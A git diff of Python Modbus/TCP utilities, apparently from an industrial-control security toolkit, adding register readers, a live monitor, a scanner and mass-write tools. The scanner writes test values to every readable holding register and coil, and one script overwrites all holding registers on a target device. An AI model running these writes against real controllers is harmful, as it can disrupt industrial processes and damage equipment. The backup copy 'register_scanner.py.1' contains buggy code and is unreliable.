self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += 